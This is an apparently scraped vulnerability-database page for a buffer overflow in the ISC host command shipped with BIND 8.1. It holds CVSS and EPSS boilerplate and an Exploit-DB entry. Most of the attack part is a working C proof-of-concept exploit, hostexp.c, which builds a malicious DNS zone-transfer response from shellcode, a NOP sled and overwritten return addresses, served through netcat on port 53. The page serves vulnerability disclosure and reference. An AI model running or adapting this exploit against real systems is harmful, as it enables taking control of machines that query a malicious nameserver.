Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20374
Publication date : 2000-10-26 22h00 +00:00
Author : antirez
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/1887/info
An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command.
host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.
command line:
./host -l -v -t any somezone.org <fake server>
proof of concepts exploit:
/* hostexp.c
* cc hostexp.c -o hostexp
*
* usage: ./hostexp | nc -l -p 53
*/
#include <stdio.h>
#include <netinet/in.h>
int main(void)
{
int offset = 140;
unsigned int base = 0xbffff74c+offset, i;
char shellcode[] = /* 48 bytes, ripped */
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/ls";
unsigned short a = htons(1024);
char buffer[1026];
memcpy(buffer, &a, 2);
memset(buffer+2, 'A', 100); /* avoid response processing */
memset(buffer+102, 0x90, 100);
memcpy(buffer+202, shellcode, 48);
for (i = 202+48; i < 202+48+600; i+=4)
memcpy(buffer+i, &base, 4);
write(fileno(stdout), buffer, 1026);
return 0;
}
Products Mentioned
Configuraton 0
Isc>>Bind >> Version 8.1
References